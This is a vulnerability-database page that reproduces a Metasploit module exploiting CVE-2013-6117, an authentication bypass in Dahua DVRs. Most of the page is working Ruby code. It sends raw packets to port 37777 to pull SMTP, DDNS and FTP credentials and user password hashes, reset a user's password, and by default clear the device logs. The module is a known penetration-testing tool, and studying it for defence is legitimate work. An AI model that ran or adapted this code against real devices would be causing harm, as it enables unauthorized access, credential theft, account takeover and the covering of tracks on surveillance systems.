Lucene search
K

Dahua DVR Authentication Bypass Scanner

🗓️ 01 Sep 2024 00:00:00Reported by Jon Hart, Jake Reynolds, Tyler Bennett, Nathan McBride, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1027 Views

Dahua DVR Auth Bypass Scanner. Scans for Dahua-based DVRs, grabs settings, resets user's password, clears device log

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Dahua DVR 2.608.0000.0 and 2.608.GV00.0 - Authentication Bypass
19 Nov 201300:00
zdt
Circl
CVE-2013-6117
29 May 201815:50
circl
CVE
CVE-2013-6117
11 Jul 201419:00
cve
Cvelist
CVE-2013-6117
11 Jul 201419:00
cvelist
Exploit DB
Dahua DVR 2.608.0000.0/2.608.GV00.0 - Authentication Bypass (Metasploit)
18 Nov 201300:00
exploitdb
exploitpack
Dahua DVR 2.608.0000.02.608.GV00.0 - Authentication Bypass (Metasploit)
18 Nov 201300:00
exploitpack
Metasploit
Dahua DVR Auth Bypass Scanner
3 Dec 201523:15
metasploit
NVD
CVE-2013-6117
11 Jul 201419:55
nvd
Prion
Authentication flaw
11 Jul 201419:55
prion
Prion
Security feature bypass
27 Feb 201707:59
prion
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => %q(Dahua DVR Auth Bypass Scanner),  
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),  
'Author' => [  
'Tyler Bennett - Talos Consulting', # Metasploit module  
'Jake Reynolds - Depth Security', # Vulnerability Discoverer  
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module  
'Nathan McBride' # regex extraordinaire  
],  
'References' => [  
[ 'CVE', '2013-6117' ],  
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]  
],  
'License' => MSF_LICENSE,  
'DefaultAction' => 'VERSION',  
'Actions' =>  
[  
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],  
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],  
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],  
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],  
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],  
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],  
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],  
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],  
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]  
]  
)  
  
register_options([  
OptString.new('USERNAME', [false, 'A username to reset', '888888']),  
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),  
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),  
Opt::RPORT(37777)  
])  
end  
  
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"  
# Payload to grab version of the DVR  
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab Email Settings of the DVR  
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \  
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab DDNS Settings of the DVR  
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \  
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab NAS Settings of the DVR  
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \  
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab the Channels that each camera is assigned to on the DVR  
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \  
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab the Users Groups of the DVR  
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab the Users and their hashes from the DVR  
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to grab the Serial Number of the DVR  
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# Payload to clear the logs of the DVR  
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
  
def setup  
@password = datastore['PASSWORD']  
@password ||= Rex::Text.rand_text_alpha(6)  
end  
  
def grab_version  
connect  
sock.put(VERSION)  
data = sock.get_once  
return unless data =~ /[\x00]{8,}([[:print:]]+)/  
ver = Regexp.last_match[1]  
print_good("#{peer} -- version: #{ver}")  
end  
  
def grab_serial  
connect  
sock.put(SN)  
data = sock.get_once  
return unless data =~ /[\x00]{8,}([[:print:]]+)/  
serial = Regexp.last_match[1]  
print_good("#{peer} -- serial number: #{serial}")  
end  
  
def grab_email  
connect  
sock.put(EMAIL)  
return unless (response = sock.get_once)  
data = response.split('&&')  
print_good("#{peer} -- Email Settings:")  
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i  
if mailhost = Regexp.last_match[1].split(':')  
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?  
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?  
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?  
mailserver = "#{mailhost[0]}"  
mailport = "#{mailhost[1]}"  
muser = "#{data[5]}"  
mpass = "#{data[6]}"  
end  
return if muser.blank? && mpass.blank?  
print_good(" SMTP User: #{data[5]}")  
print_good(" SMTP Password: #{data[6]}")  
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?  
report_email_cred(mailserver, mailport, muser, mpass)  
end  
  
def grab_ddns  
connect  
sock.put(DDNS)  
return unless (response = sock.get_once)  
data = response.split(/&&[0-1]&&/)  
ddns_table = Rex::Text::Table.new(  
'Header' => 'Dahua DDNS Settings',  
'Indent' => 1,  
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']  
)  
data.each_with_index do |val, index|  
next if index == 0  
val = val.split("&&")  
ddns_service = val[0]  
ddns_server = val[1]  
ddns_port = val[2]  
ddns_domain = val[3]  
ddns_user = val[4]  
ddns_pass = val[5]  
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]  
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?  
if datastore['VERBOSE']  
ddns_table.print  
end  
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)  
end  
end  
end  
  
def grab_nas  
connect  
sock.put(NAS)  
return unless (data = sock.get_once)  
print_good("#{peer} -- NAS Settings:")  
server = ''  
port = ''  
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/  
server = Regexp.last_match[1].unpack('C*').join('.')  
port = Regexp.last_match[2].unpack('S')  
end  
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data  
ftpuser.strip!  
ftppass.strip!  
unless ftpuser.blank? || ftppass.blank?  
print_good("#{peer} -- NAS Server: #{server}")  
print_good("#{peer} -- NAS Port: #{port}")  
print_good("#{peer} -- FTP User: #{ftpuser}")  
print_good("#{peer} -- FTP Pass: #{ftppass}")  
report_creds(  
host: server,  
port: port,  
user: ftpuser,  
pass: ftppass,  
type: "FTP",  
active: true)  
end  
end  
end  
  
def grab_channels  
connect  
sock.put(CHANNELS)  
data = sock.get_once.split('&&')  
channels_table = Rex::Text::Table.new(  
'Header' => 'Dahua Camera Channels',  
'Indent' => 1,  
'Columns' => ['ID', 'Peer', 'Channels']  
)  
return unless data.length > 1  
data.each_with_index do |val, index|  
number = index.to_s  
channels = val[/([[:print:]]+)/]  
channels_table << [ number, peer, channels ]  
end  
channels_table.print  
end  
  
def grab_users  
connect  
sock.put(USERS)  
return unless (response = sock.get_once)  
data = response.split('&&')  
usercount = 0  
users_table = Rex::Text::Table.new(  
'Header' => 'Dahua Users Hashes and Rights',  
'Indent' => 1,  
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']  
)  
data.each do |val|  
usercount += 1  
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures  
users_table << [ peer, user, md5hash, groups, rights, name]  
# Write the dahua hash to the database  
hash = "#{rhost} #{user}:$dahua$#{md5hash}"  
report_hash(rhost, rport, user, hash)  
# Write the vulnerability to the database  
report_vuln(  
host: rhost,  
port: rport,  
proto: 'tcp',  
sname: 'dvr',  
name: 'Dahua Authentication Password Hash Exposure',  
info: "Obtained password hash for user #{user}: #{md5hash}",  
refs: references  
)  
end  
users_table.print  
end  
  
def grab_groups  
connect  
sock.put(GROUPS)  
return unless (response = sock.get_once)  
data = response.split('&&')  
groups_table = Rex::Text::Table.new(  
'Header' => 'Dahua groups',  
'Indent' => 1,  
'Columns' => ['ID', 'Peer', 'Group']  
)  
data.each do |val|  
number = "#{val[/(([\d]+))/]}"  
groups = "#{val[/(([a-z]+))/]}"  
groups_table << [ number, peer, groups ]  
end  
groups_table.print  
end  
  
def reset_user  
connect  
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password  
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring  
sock.put(u1)  
sock.put(u2)  
sock.put(u3)  
sock.get_once  
sock.put(u1)  
return unless sock.get_once  
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")  
end  
  
def clear_logs  
connect  
sock.put(CLEAR_LOGS1)  
sock.put(CLEAR_LOGS2)  
print_good("#{peer} -- logs cleared")  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def run_host(_ip)  
begin  
connect  
sock.put(U1)  
data = sock.recv(8)  
disconnect  
return unless data == DVR_RESP  
print_good("#{peer} -- Dahua-based DVR found")  
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")  
  
case action.name.upcase  
when 'CHANNEL'  
grab_channels  
when 'DDNS'  
grab_ddns  
when 'EMAIL'  
grab_email  
when 'GROUP'  
grab_groups  
when 'NAS'  
grab_nas  
when 'RESET'  
reset_user  
when 'SERIAL'  
grab_serial  
when 'USER'  
grab_users  
when 'VERSION'  
grab_version  
end  
  
clear_logs if datastore['CLEAR_LOGS']  
ensure  
disconnect  
end  
end  
  
def report_hash(rhost, rport, user, hash)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'dahua_dvr',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: 'dahua_hash',  
username: user  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)  
service_data = {  
address: ddns_server,  
port: ddns_port,  
service_name: 'ddns settings',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: ddns_pass,  
private_type: :password,  
username: ddns_user  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def report_email_cred(mailserver, mailport, muser, mpass)  
service_data = {  
address: mailserver,  
port: mailport,  
service_name: 'email settings',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: mpass,  
private_type: :password,  
username: muser  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.89731
1027